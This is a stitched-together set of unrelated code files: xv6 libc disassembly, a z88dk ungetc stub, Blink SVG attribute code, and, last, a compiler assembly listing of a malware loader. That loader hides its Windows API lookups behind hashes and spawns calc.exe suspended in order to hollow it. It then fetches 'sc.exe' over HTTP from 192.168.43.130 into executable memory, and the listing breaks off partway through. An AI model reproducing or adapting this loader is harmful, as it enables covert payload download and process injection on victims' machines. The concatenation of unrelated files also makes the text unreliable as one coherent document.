531: e9 0e ff ff ff jmp 444 <printf+0x54>
536: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
53d: 8d 76 00 lea 0x0(%esi),%esi
putc(fd, c);
540: 88 5d e7 mov %bl,-0x19(%ebp)
write(fd, &c, 1);
543: 83 ec 04 sub $0x4,%esp
546: e9 59 ff ff ff jmp 4a4 <printf+0xb4>
54b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
54f: 90 nop
s = (char*)*ap;
550: 8b 45 d0 mov -0x30(%ebp),%eax
553: 8b 18 mov (%eax),%ebx
ap++;
555: 83 c0 04 add $0x4,%eax
558: 89 45 d0 mov %eax,-0x30(%ebp)
if(s == 0)
55b: 85 db test %ebx,%ebx
55d: 74 17 je 576 <printf+0x186>
while(*s != 0){
55f: 0f b6 03 movzbl (%ebx),%eax
state = 0;
562: 31 d2 xor %edx,%edx
while(*s != 0){
564: 84 c0 test %al,%al
566: 0f 84 d8 fe ff ff je 444 <printf+0x54>
56c: 89 75 d4 mov %esi,-0x2c(%ebp)
56f: 89 de mov %ebx,%esi
571: 8b 5d 08 mov 0x8(%ebp),%ebx
574: eb 1a jmp 590 <printf+0x1a0>
s = "(null)";
576: bb 58 07 00 00 mov $0x758,%ebx
while(*s != 0){
57b: 89 75 d4 mov %esi,-0x2c(%ebp)
57e: b8 28 00 00 00 mov $0x28,%eax
583: 89 de mov %ebx,%esi
585: 8b 5d 08 mov 0x8(%ebp),%ebx
588: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
58f: 90 nop
write(fd, &c, 1);
590: 83 ec 04 sub $0x4,%esp
s++;
593: 83 c6 01 add $0x1,%esi
596: 88 45 e7 mov %al,-0x19(%ebp)
write(fd, &c, 1);
599: 6a 01 push $0x1
59b: 57 push %edi
59c: 53 push %ebx
59d: e8 01 fd ff ff call 2a3 <write>
while(*s != 0){
5a2: 0f b6 06 movzbl (%esi),%eax
5a5: 83 c4 10 add $0x10,%esp
5a8: 84 c0 test %al,%al
5aa: 75 e4 jne 590 <printf+0x1a0>
5ac: 8b 75 d4 mov -0x2c(%ebp),%esi
state = 0;
5af: 31 d2 xor %edx,%edx
5b1: e9 8e fe ff ff jmp 444 <printf+0x54>
5b6: 66 90 xchg %ax,%ax
5b8: 66 90 xchg %ax,%ax
5ba: 66 90 xchg %ax,%ax
5bc: 66 90 xchg %ax,%ax
5be: 66 90 xchg %ax,%ax
000005c0 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
5c0: f3 0f 1e fb endbr32
5c4: 55 push %ebp
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
5c5: a1 00 0a 00 00 mov 0xa00,%eax
{
5ca: 89 e5 mov %esp,%ebp
5cc: 57 push %edi
5cd: 56 push %esi
5ce: 53 push %ebx
5cf: 8b 5d 08 mov 0x8(%ebp),%ebx
5d2: 8b 10 mov (%eax),%edx
bp = (Header*)ap - 1;
5d4: 8d 4b f8 lea -0x8(%ebx),%ecx
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
5d7: 39 c8 cmp %ecx,%eax
5d9: 73 15 jae 5f0 <free+0x30>
5db: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
5df: 90 nop
5e0: 39 d1 cmp %edx,%ecx
5e2: 72 14 jb 5f8 <free+0x38>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
5e4: 39 d0 cmp %edx,%eax
5e6: 73 10 jae 5f8 <free+0x38>
{
5e8: 89 d0 mov %edx,%eax
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
5ea: 8b 10 mov (%eax),%edx
5ec: 39 c8 cmp %ecx,%eax
5ee: 72 f0 jb 5e0 <free+0x20>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
5f0: 39 d0 cmp %edx,%eax
5f2: 72 f4 jb 5e8 <free+0x28>
5f4: 39 d1 cmp %edx,%ecx
5f6: 73 f0 jae 5e8 <free+0x28>
break;
if(bp + bp->s.size == p->s.ptr){
5f8: 8b 73 fc mov -0x4(%ebx),%esi
5fb: 8d 3c f1 lea (%ecx,%esi,8),%edi
5fe: 39 fa cmp %edi,%edx
600: 74 1e je 620 <free+0x60>
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
602: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
605: 8b 50 04 mov 0x4(%eax),%edx
608: 8d 34 d0 lea (%eax,%edx,8),%esi
60b: 39 f1 cmp %esi,%ecx
60d: 74 28 je 637 <free+0x77>
p->s.size += bp->s.size;
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
60f: 89 08 mov %ecx,(%eax)
freep = p;
}
611: 5b pop %ebx
freep = p;
612: a3 00 0a 00 00 mov %eax,0xa00
}
617: 5e pop %esi
618: 5f pop %edi
619: 5d pop %ebp
61a: c3 ret
61b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
61f: 90 nop
bp->s.size += p->s.ptr->s.size;
620: 03 72 04 add 0x4(%edx),%esi
623: 89 73 fc mov %esi,-0x4(%ebx)
bp->s.ptr = p->s.ptr->s.ptr;
626: 8b 10 mov (%eax),%edx
628: 8b 12 mov (%edx),%edx
62a: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
62d: 8b 50 04 mov 0x4(%eax),%edx
630: 8d 34 d0 lea (%eax,%edx,8),%esi
633: 39 f1 cmp %esi,%ecx
635: 75 d8 jne 60f <free+0x4f>
p->s.size += bp->s.size;
637: 03 53 fc add -0x4(%ebx),%edx
freep = p;
63a: a3 00 0a 00 00 mov %eax,0xa00
p->s.size += bp->s.size;
63f: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
642: 8b 53 f8 mov -0x8(%ebx),%edx
645: 89 10 mov %edx,(%eax)
}
647: 5b pop %ebx
648: 5e pop %esi
649: 5f pop %edi
64a: 5d pop %ebp
64b: c3 ret
64c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
00000650 <malloc>:
return freep;
}
void*
malloc(uint nbytes)
{
650: f3 0f 1e fb endbr32
654: 55 push %ebp
655: 89 e5 mov %esp,%ebp
657: 57 push %edi
658: 56 push %esi
659: 53 push %ebx
65a: 83 ec 1c sub $0x1c,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
65d: 8b 45 08 mov 0x8(%ebp),%eax
if((prevp = freep) == 0){
660: 8b 3d 00 0a 00 00 mov 0xa00,%edi
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
666: 8d 70 07 lea 0x7(%eax),%esi
669: c1 ee 03 shr $0x3,%esi
66c: 83 c6 01 add $0x1,%esi
if((prevp = freep) == 0){
66f: 85 ff test %edi,%edi
671: 0f 84 a9 00 00 00 je 720 <malloc+0xd0>
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
677: 8b 07 mov (%edi),%eax
if(p->s.size >= nunits){
679: 8b 48 04 mov 0x4(%eax),%ecx
67c: 39 f1 cmp %esi,%ecx
67e: 73 6d jae 6ed <malloc+0x9d>
680: 81 fe 00 10 00 00 cmp $0x1000,%esi
686: bb 00 10 00 00 mov $0x1000,%ebx
68b: 0f 43 de cmovae %esi,%ebx
p = sbrk(nu * sizeof(Header));
68e: 8d 0c dd 00 00 00 00 lea 0x0(,%ebx,8),%ecx
695: 89 4d e4 mov %ecx,-0x1c(%ebp)
698: eb 17 jmp 6b1 <malloc+0x61>
69a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
6a0: 8b 10 mov (%eax),%edx
if(p->s.size >= nunits){
6a2: 8b 4a 04 mov 0x4(%edx),%ecx
6a5: 39 f1 cmp %esi,%ecx
6a7: 73 4f jae 6f8 <malloc+0xa8>
6a9: 8b 3d 00 0a 00 00 mov 0xa00,%edi
6af: 89 d0 mov %edx,%eax
p->s.size = nunits;
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
6b1: 39 c7 cmp %eax,%edi
6b3: 75 eb jne 6a0 <malloc+0x50>
p = sbrk(nu * sizeof(Header));
6b5: 83 ec 0c sub $0xc,%esp
6b8: ff 75 e4 pushl -0x1c(%ebp)
6bb: e8 4b fc ff ff call 30b <sbrk>
if(p == (char*)-1)
6c0: 83 c4 10 add $0x10,%esp
6c3: 83 f8 ff cmp $0xffffffff,%eax
6c6: 74 1b je 6e3 <malloc+0x93>
hp->s.size = nu;
6c8: 89 58 04 mov %ebx,0x4(%eax)
free((void*)(hp + 1));
6cb: 83 ec 0c sub $0xc,%esp
6ce: 83 c0 08 add $0x8,%eax
6d1: 50 push %eax
6d2: e8 e9 fe ff ff call 5c0 <free>
return freep;
6d7: a1 00 0a 00 00 mov 0xa00,%eax
if((p = morecore(nunits)) == 0)
6dc: 83 c4 10 add $0x10,%esp
6df: 85 c0 test %eax,%eax
6e1: 75 bd jne 6a0 <malloc+0x50>
return 0;
}
}
6e3: 8d 65 f4 lea -0xc(%ebp),%esp
return 0;
6e6: 31 c0 xor %eax,%eax
}
6e8: 5b pop %ebx
6e9: 5e pop %esi
6ea: 5f pop %edi
6eb: 5d pop %ebp
6ec: c3 ret
if(p->s.size >= nunits){
6ed: 89 c2 mov %eax,%edx
6ef: 89 f8 mov %edi,%eax
6f1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
if(p->s.size == nunits)
6f8: 39 ce cmp %ecx,%esi
6fa: 74 54 je 750 <malloc+0x100>
p->s.size -= nunits;
6fc: 29 f1 sub %esi,%ecx
6fe: 89 4a 04 mov %ecx,0x4(%edx)
p += p->s.size;
701: 8d 14 ca lea (%edx,%ecx,8),%edx
p->s.size = nunits;
704: 89 72 04 mov %esi,0x4(%edx)
freep = prevp;
707: a3 00 0a 00 00 mov %eax,0xa00
}
70c: 8d 65 f4 lea -0xc(%ebp),%esp
return (void*)(p + 1);
70f: 8d 42 08 lea 0x8(%edx),%eax
}
712: 5b pop %ebx
713: 5e pop %esi
714: 5f pop %edi
715: 5d pop %ebp
716: c3 ret
717: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
71e: 66 90 xchg %ax,%ax
base.s.ptr = freep = prevp = &base;
720: c7 05 00 0a 00 00 04 movl $0xa04,0xa00
727: 0a 00 00
base.s.size = 0;
72a: bf 04 0a 00 00 mov $0xa04,%edi
base.s.ptr = freep = prevp = &base;
72f: c7 05 04 0a 00 00 04 movl $0xa04,0xa04
736: 0a 00 00
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
739: 89 f8 mov %edi,%eax
base.s.size = 0;
73b: c7 05 08 0a 00 00 00 movl $0x0,0xa08
742: 00 00 00
if(p->s.size >= nunits){
745: e9 36 ff ff ff jmp 680 <malloc+0x30>
74a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
prevp->s.ptr = p->s.ptr;
750: 8b 0a mov (%edx),%ecx
752: 89 08 mov %ecx,(%eax)
754: eb b1 jmp 707 <malloc+0xb7>
|
; int ungetc(int c, FILE *stream)
INCLUDE "clib_cfg.asm"
SECTION code_clib
SECTION code_stdio
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
IF __CLIB_OPT_MULTITHREAD & $02
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
PUBLIC _ungetc
EXTERN asm_ungetc
_ungetc:
pop af
pop hl
pop ix
push hl
push hl
push af
jp asm_ungetc
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ELSE
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
PUBLIC _ungetc
EXTERN _ungetc_unlocked
defc _ungetc = _ungetc_unlocked
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ENDIF
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
/*
* Copyright (C) 2004, 2005, 2008 Nikolas Zimmermann <zimmermann@kde.org>
* Copyright (C) 2004, 2005, 2006, 2007 Rob Buis <buis@kde.org>
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Library General Public
* License as published by the Free Software Foundation; either
* version 2 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Library General Public License for more details.
*
* You should have received a copy of the GNU Library General Public License
* along with this library; see the file COPYING.LIB. If not, write to
* the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
* Boston, MA 02110-1301, USA.
*/
#include "third_party/blink/renderer/core/svg/svg_tests.h"
#include "third_party/blink/renderer/core/mathml_names.h"
#include "third_party/blink/renderer/core/page/chrome_client.h"
#include "third_party/blink/renderer/core/page/page.h"
#include "third_party/blink/renderer/core/svg/svg_element.h"
#include "third_party/blink/renderer/core/svg/svg_static_string_list.h"
#include "third_party/blink/renderer/core/svg_names.h"
#include "third_party/blink/renderer/platform/language.h"
#include "third_party/blink/renderer/platform/runtime_enabled_features.h"
namespace blink {
SVGTests::SVGTests(SVGElement* context_element)
: required_extensions_(
SVGStaticStringList::Create<' '>(context_element,
svg_names::kRequiredExtensionsAttr)),
system_language_(
SVGStaticStringList::Create<','>(context_element,
svg_names::kSystemLanguageAttr)) {
DCHECK(context_element);
context_element->AddToPropertyMap(required_extensions_);
context_element->AddToPropertyMap(system_language_);
}
void SVGTests::Trace(Visitor* visitor) {
visitor->Trace(required_extensions_);
visitor->Trace(system_language_);
}
SVGStringListTearOff* SVGTests::requiredExtensions() {
return required_extensions_->TearOff();
}
SVGStringListTearOff* SVGTests::systemLanguage() {
return system_language_->TearOff();
}
static bool IsLangTagPrefix(const String& lang_tag, const String& language) {
if (!lang_tag.StartsWithIgnoringASCIICase(language))
return false;
return lang_tag.length() == language.length() ||
lang_tag[language.length()] == '-';
}
static bool MatchLanguageList(const String& lang_tag,
const Vector<String>& languages) {
for (const auto& value : languages) {
if (IsLangTagPrefix(lang_tag, value))
return true;
}
return false;
}
bool SVGTests::IsValid() const {
if (system_language_->IsSpecified()) {
bool match_found = false;
Vector<String> languages;
system_language_->ContextElement()
->GetDocument()
.GetPage()
->GetChromeClient()
.AcceptLanguages()
.Split(',', languages);
for (const auto& lang_tag : system_language_->Value()->Values()) {
if (MatchLanguageList(lang_tag, languages)) {
match_found = true;
break;
}
}
if (!match_found)
return false;
}
if (required_extensions_->IsSpecified()) {
const Vector<String>& extensions = required_extensions_->Value()->Values();
// 'If a null string or empty string value is given to attribute
// 'requiredExtensions', the attribute evaluates to "false".'
if (extensions.IsEmpty())
return false;
for (const auto& extension : extensions) {
if (extension != html_names::xhtmlNamespaceURI &&
(!RuntimeEnabledFeatures::MathMLCoreEnabled() ||
extension != mathml_names::kNamespaceURI))
return false;
}
}
return true;
}
bool SVGTests::IsKnownAttribute(const QualifiedName& attr_name) {
return attr_name == svg_names::kRequiredExtensionsAttr ||
attr_name == svg_names::kSystemLanguageAttr;
}
} // namespace blink
|
; Listing generated by Microsoft (R) Optimizing Compiler Version 18.00.21005.1
TITLE C:\Users\sickness\Documents\Visual Studio 2013\Projects\sc\sc\sc.c
.686P
.XMM
include listing.inc
.model flat
INCLUDELIB OLDNAMES
PUBLIC _ExecPayload
PUBLIC _GetProcAddressByHash
PUBLIC _RtlSecureZeroMemory
; Function compile flags: /Ogspy
; COMDAT _RtlSecureZeroMemory
_TEXT SEGMENT
_RtlSecureZeroMemory PROC ; COMDAT
; _ptr$ = ecx
; _cnt$ = edx
; File c:\program files (x86)\windows kits\8.1\include\um\winnt.h
; Line 17764
mov eax, ecx
$LL2@RtlSecureZ:
; Line 17780
mov BYTE PTR [eax], 0
; Line 17784
inc eax
; Line 17785
dec edx
jne SHORT $LL2@RtlSecureZ
; Line 17790
mov eax, ecx
; Line 17791
ret 0
_RtlSecureZeroMemory ENDP
_TEXT ENDS
; Function compile flags: /Ogspy
; COMDAT _GetProcAddressByHash
_TEXT SEGMENT
_dwExportDirRVA$1$ = -16 ; size = 4
_dwNumFunctions$1$ = -12 ; size = 4
_BaseDllName$1$ = -12 ; size = 4
_dwModuleFunctionHash$1$ = -8 ; size = 4
_pdwFunctionNameBase$1$ = -4 ; size = 4
_GetProcAddressByHash PROC ; COMDAT
; _dwModuleFunctionHash$ = ecx
; File c:\users\sickness\documents\visual studio 2013\projects\sc\sc\getprocaddressbyhash.h
; Line 32
sub esp, 16 ; 00000010H
; Line 59
mov eax, DWORD PTR fs:48
push ebx
push ebp
push esi
; Line 64
mov eax, DWORD PTR [eax+12]
push edi
mov DWORD PTR _dwModuleFunctionHash$1$[esp+32], ecx
mov esi, DWORD PTR [eax+12]
; Line 66
jmp $LN5@GetProcAdd
$LL15@GetProcAdd:
; Line 70
mov eax, DWORD PTR [esi+48]
xor ecx, ecx
mov ebx, DWORD PTR [esi+44]
; Line 75
mov esi, DWORD PTR [esi]
mov DWORD PTR _BaseDllName$1$[esp+32], eax
mov eax, DWORD PTR [edx+60]
mov ebp, DWORD PTR [eax+edx+120]
mov DWORD PTR _dwExportDirRVA$1$[esp+32], ebp
; Line 78
test ebp, ebp
je SHORT $LN5@GetProcAdd
; Line 84
shr ebx, 16 ; 00000010H
xor edi, edi
test ebx, ebx
je SHORT $LN10@GetProcAdd
mov ebp, DWORD PTR _BaseDllName$1$[esp+32]
$LL12@GetProcAdd:
; Line 90
mov al, BYTE PTR [edi+ebp]
ror ecx, 13 ; 0000000dH
cmp al, 97 ; 00000061H
; Line 92
movsx eax, al
jl SHORT $LN9@GetProcAdd
add ecx, -32 ; ffffffe0H
$LN9@GetProcAdd:
; Line 96
add ecx, eax
inc edi
cmp edi, ebx
jb SHORT $LL12@GetProcAdd
mov ebp, DWORD PTR _dwExportDirRVA$1$[esp+32]
$LN10@GetProcAdd:
; Line 103
mov eax, DWORD PTR [edx+ebp+32]
; Line 105
xor ebx, ebx
mov edi, DWORD PTR [edx+ebp+24]
add eax, edx
mov DWORD PTR _dwNumFunctions$1$[esp+32], edi
test edi, edi
je SHORT $LN5@GetProcAdd
$LL7@GetProcAdd:
; Line 108
mov ebp, DWORD PTR [eax]
xor edi, edi
add ebp, edx
; Line 109
add eax, 4
mov DWORD PTR _pdwFunctionNameBase$1$[esp+32], eax
$LL4@GetProcAdd:
; Line 116
movsx eax, BYTE PTR [ebp]
ror edi, 13 ; 0000000dH
add edi, eax
; Line 117
inc ebp
; Line 118
cmp BYTE PTR [ebp-1], 0
jne SHORT $LL4@GetProcAdd
; Line 120
lea eax, DWORD PTR [edi+ecx]
; Line 122
cmp eax, DWORD PTR _dwModuleFunctionHash$1$[esp+32]
je SHORT $LN23@GetProcAdd
; Line 105
mov eax, DWORD PTR _pdwFunctionNameBase$1$[esp+32]
inc ebx
cmp ebx, DWORD PTR _dwNumFunctions$1$[esp+32]
jb SHORT $LL7@GetProcAdd
$LN5@GetProcAdd:
; Line 66
mov edx, DWORD PTR [esi+24]
test edx, edx
jne $LL15@GetProcAdd
; Line 131
xor eax, eax
$LN16@GetProcAdd:
; Line 132
pop edi
pop esi
pop ebp
pop ebx
add esp, 16 ; 00000010H
ret 0
$LN23@GetProcAdd:
; Line 124
mov esi, DWORD PTR _dwExportDirRVA$1$[esp+32]
mov eax, DWORD PTR [esi+edx+36]
lea eax, DWORD PTR [eax+ebx*2]
; Line 125
movzx ecx, WORD PTR [eax+edx]
mov eax, DWORD PTR [esi+edx+28]
lea eax, DWORD PTR [eax+ecx*4]
mov eax, DWORD PTR [eax+edx]
add eax, edx
jmp SHORT $LN16@GetProcAdd
_GetProcAddressByHash ENDP
_TEXT ENDS
; Function compile flags: /Ogspy
; COMDAT _ExecPayload
_TEXT SEGMENT
_Count$1$ = -292 ; size = 4
_MyVirtualAlloc$1$ = -292 ; size = 4
_process3$ = -288 ; size = 4
_process$ = -284 ; size = 15
_payload$ = -268 ; size = 7
_http$ = -260 ; size = 9
_wininet$ = -248 ; size = 12
_hostname$ = -236 ; size = 15
_process2$ = -220 ; size = 15
_MyInternetReadFile$1$ = -204 ; size = 4
_zero_buff$1$ = -204 ; size = 4
_MyWriteProcessMemory$1$ = -200 ; size = 4
_pi$ = -196 ; size = 16
_MySetThreadContext$1$ = -180 ; size = 4
_MyWaitForSingleObject$1$ = -176 ; size = 4
_dwImageBase$ = -172 ; size = 4
_MyVirtualProtectEx$1$ = -168 ; size = 4
_pebInfo$1$ = -164 ; size = 4
_MyInternetOpenA$1$ = -160 ; size = 4
_MyVirtualQueryEx$1$ = -156 ; size = 4
_MyInternetConnectA$1$ = -152 ; size = 4
_MyVirtualFree$1$ = -148 ; size = 4
_MyHttpOpenRequestA$1$ = -144 ; size = 4
_CTX$1$ = -140 ; size = 4
_dwFlags$ = -136 ; size = 4
_MyVirtualAllocEx$1$ = -132 ; size = 4
_MyInternetSetOptionA$1$ = -128 ; size = 4
_MyResumeThread$1$ = -124 ; size = 4
_MyHttpSendRequestA$1$ = -120 ; size = 4
_oldProtect$ = -116 ; size = 4
_bytesRead$ = -112 ; size = 4
_read$ = -108 ; size = 4
_wrote_zero$ = -104 ; size = 4
_memInfo$ = -100 ; size = 28
_si$ = -72 ; size = 68
_ExecPayload PROC ; COMDAT
; File c:\users\sickness\documents\visual studio 2013\projects\sc\sc\sc.c
; Line 171
push ebp
mov ebp, esp
and esp, -8 ; fffffff8H
sub esp, 296 ; 00000128H
; Line 177
lea eax, DWORD PTR _si$[esp+296]
xor edx, edx
push ebx
push ebp
push esi
push edi
push 68 ; 00000044H
pop esi
mov ecx, esi
$LL12@ExecPayloa:
mov BYTE PTR [eax], dl
inc eax
dec ecx
jne SHORT $LL12@ExecPayloa
; Line 179
push 16 ; 00000010H
mov DWORD PTR _si$[esp+316], esi
lea eax, DWORD PTR _pi$[esp+316]
pop ecx
$LL16@ExecPayloa:
mov BYTE PTR [eax], dl
inc eax
dec ecx
jne SHORT $LL16@ExecPayloa
; Line 218
lea eax, DWORD PTR _wininet$[esp+312]
mov DWORD PTR _wininet$[esp+312], 1768843639 ; 696e6977H
push eax
mov ecx, 119961420 ; 0726774cH
mov DWORD PTR _wininet$[esp+320], 779380078 ; 2e74656eH
mov DWORD PTR _wininet$[esp+324], 7105636 ; 006c6c64H
mov DWORD PTR _process$[esp+316], 1549548099 ; 5c5c3a43H
mov DWORD PTR _process$[esp+320], 1684957527 ; 646e6957H
mov DWORD PTR _process$[esp+324], 1551071087 ; 5c73776fH
mov WORD PTR _process$[esp+328], 21340 ; 0000535cH
mov BYTE PTR _process$[esp+330], dl
mov DWORD PTR _process2$[esp+316], 1702130553 ; 65747379H
mov DWORD PTR _process2$[esp+320], 1546793837 ; 5c32336dH
mov DWORD PTR _process2$[esp+324], 1818321756 ; 6c61635cH
mov WORD PTR _process2$[esp+328], 11875 ; 00002e63H
mov BYTE PTR _process2$[esp+330], dl
mov DWORD PTR _process3$[esp+316], 6649957 ; 00657865H
call _GetProcAddressByHash
call eax
; Line 221
mov ecx, -2042639239 ; 863fcc79H
call _GetProcAddressByHash
; Line 222
mov ecx, 1612547848 ; 601d8708H
mov edi, eax
call _GetProcAddressByHash
; Line 223
mov ecx, -784180200 ; d1425c18H
mov DWORD PTR _MyWaitForSingleObject$1$[esp+312], eax
call _GetProcAddressByHash
; Line 224
mov ecx, 1912198082 ; 71f9d3c2H
mov ebx, eax
call _GetProcAddressByHash
; Line 225
mov ecx, -340346453 ; ebb6b9abH
mov ebp, eax
call _GetProcAddressByHash
; Line 226
mov ecx, -1485220294 ; a779563aH
mov DWORD PTR _MyVirtualQueryEx$1$[esp+312], eax
call _GetProcAddressByHash
; Line 227
mov ecx, -962623145 ; c69f8957H
mov DWORD PTR _MyInternetOpenA$1$[esp+312], eax
call _GetProcAddressByHash
; Line 228
mov ecx, 992892395 ; 3b2e55ebH
mov DWORD PTR _MyInternetConnectA$1$[esp+312], eax
call _GetProcAddressByHash
; Line 229
mov ecx, -2036447627 ; 869e4675H
mov DWORD PTR _MyHttpOpenRequestA$1$[esp+312], eax
call _GetProcAddressByHash
; Line 230
mov ecx, 2065172013 ; 7b18062dH
mov DWORD PTR _MyInternetSetOptionA$1$[esp+312], eax
call _GetProcAddressByHash
; Line 231
mov ecx, -494299630 ; e2899612H
mov DWORD PTR _MyHttpSendRequestA$1$[esp+312], eax
call _GetProcAddressByHash
; Line 232
mov ecx, -447503272 ; e553a458H
mov DWORD PTR _MyInternetReadFile$1$[esp+312], eax
call _GetProcAddressByHash
; Line 233
mov ecx, -406988603 ; e7bdd8c5H
mov DWORD PTR _MyVirtualAlloc$1$[esp+312], eax
call _GetProcAddressByHash
; Line 234
mov ecx, -849234522 ; cd61b5a6H
mov DWORD PTR _MyWriteProcessMemory$1$[esp+312], eax
call _GetProcAddressByHash
; Line 235
mov ecx, 1066567598 ; 3f9287aeH
mov DWORD PTR _MyVirtualProtectEx$1$[esp+312], eax
call _GetProcAddressByHash
; Line 236
mov ecx, -783393768 ; d14e5c18H
mov DWORD PTR _MyVirtualAllocEx$1$[esp+312], eax
call _GetProcAddressByHash
; Line 237
mov ecx, -1896609493 ; 8ef4092bH
mov DWORD PTR _MySetThreadContext$1$[esp+312], eax
call _GetProcAddressByHash
; Line 238
mov ecx, 806301451 ; 300f2f0bH
mov DWORD PTR _MyResumeThread$1$[esp+312], eax
call _GetProcAddressByHash
; Line 239
mov ecx, 1579310292 ; 5e225cd4H
mov DWORD PTR _MyVirtualFree$1$[esp+312], eax
call _GetProcAddressByHash
mov esi, eax
; Line 245
lea eax, DWORD PTR _process2$[esp+312]
push eax
lea eax, DWORD PTR _process$[esp+316]
push eax
call esi
; Line 246
lea eax, DWORD PTR _process3$[esp+312]
push eax
lea eax, DWORD PTR _process$[esp+316]
push eax
call esi
; Line 247
lea eax, DWORD PTR _pi$[esp+312]
xor esi, esi
push eax
lea eax, DWORD PTR _si$[esp+316]
push eax
push esi
push esi
push 134217732 ; 08000004H
push 1
push esi
push esi
lea eax, DWORD PTR _process$[esp+344]
push eax
push esi
call edi
; Line 251
mov edi, DWORD PTR _MyVirtualAlloc$1$[esp+312]
push 4
push 4096 ; 00001000H
push 4
push esi
call edi
mov esi, eax
; Line 253
push esi
mov DWORD PTR _CTX$1$[esp+316], esi
mov DWORD PTR [esi], 65543 ; 00010007H
push DWORD PTR _pi$[esp+320]
call ebx
; Line 256
mov eax, DWORD PTR [esi+164]
; Line 261
lea ecx, DWORD PTR _read$[esp+312]
push ecx
push 4
lea ecx, DWORD PTR _dwImageBase$[esp+320]
add eax, 8
push ecx
push eax
push DWORD PTR _pi$[esp+328]
mov DWORD PTR _pebInfo$1$[esp+332], eax
call ebp
; Line 264
mov ebp, DWORD PTR _dwImageBase$[esp+312]
; Line 269
lea eax, DWORD PTR _memInfo$[esp+312]
mov esi, DWORD PTR _MyVirtualQueryEx$1$[esp+312]
mov ebx, ebp
push 28 ; 0000001cH
push eax
push ebp
jmp SHORT $LN38@ExecPayloa
$LL8@ExecPayloa:
; Line 270
cmp DWORD PTR _memInfo$[esp+328], 65536 ; 00010000H
je SHORT $LN23@ExecPayloa
; Line 273
add ebx, DWORD PTR _memInfo$[esp+324]
lea eax, DWORD PTR _memInfo$[esp+312]
push 28 ; 0000001cH
push eax
push ebx
$LN38@ExecPayloa:
; Line 269
push DWORD PTR _pi$[esp+324]
call esi
test eax, eax
jne SHORT $LL8@ExecPayloa
$LN23@ExecPayloa:
; Line 303
xor eax, eax
mov DWORD PTR _dwFlags$[esp+312], 13184 ; 00003380H
; Line 308
push eax
push eax
push eax
push eax
push eax
sub ebx, ebp
mov DWORD PTR _hostname$[esp+332], 775043377 ; 2e323931H
mov DWORD PTR _hostname$[esp+336], 775435825 ; 2e383631H
mov DWORD PTR _hostname$[esp+340], 825111348 ; 312e3334H
mov WORD PTR _hostname$[esp+344], 12339 ; 00003033H
mov BYTE PTR _hostname$[esp+346], al
mov DWORD PTR _payload$[esp+332], 1697538931 ; 652e6373H
mov WORD PTR _payload$[esp+336], 25976 ; 00006578H
mov BYTE PTR _payload$[esp+338], al
mov DWORD PTR _http$[esp+332], 1347703880 ; 50545448H
mov DWORD PTR _http$[esp+336], 825110831 ; 312e312fH
mov BYTE PTR _http$[esp+340], al
call DWORD PTR _MyInternetOpenA$1$[esp+332]
; Line 309
xor esi, esi
lea ecx, DWORD PTR _hostname$[esp+312]
push esi
push -2147483648 ; 80000000H
push 3
push esi
push esi
push 80 ; 00000050H
push ecx
push eax
call DWORD PTR _MyInternetConnectA$1$[esp+344]
; Line 310
push esi
push -1610612736 ; a0000000H
push esi
push esi
lea ecx, DWORD PTR _http$[esp+328]
push ecx
lea ecx, DWORD PTR _payload$[esp+332]
push ecx
push esi
push eax
call DWORD PTR _MyHttpOpenRequestA$1$[esp+344]
mov esi, eax
; Line 311
lea eax, DWORD PTR _dwFlags$[esp+312]
push 4
push eax
push 31 ; 0000001fH
push esi
call DWORD PTR _MyInternetSetOptionA$1$[esp+328]
; Line 312
xor eax, eax
push eax
push eax
push eax
push eax
push esi
call DWORD PTR _MyHttpSendRequestA$1$[esp+332]
; Line 315
push 64 ; 00000040H
push 4096 ; 00001000H
push 20971520 ; 01400000H
push 0
call edi
mov edi, eax
; Line 316
lea eax, DWORD PTR _bytesRead$[esp+312]
push eax
push 20971520 ; 01400000H
push edi
push esi
call DWORD PTR _MyInternetReadFile$1$[esp+328]
; Line 318
push 4
push 4096 ; 00001000H
push ebx
push 0
call DWORD PTR _MyVirtualAlloc$1$[esp+328]
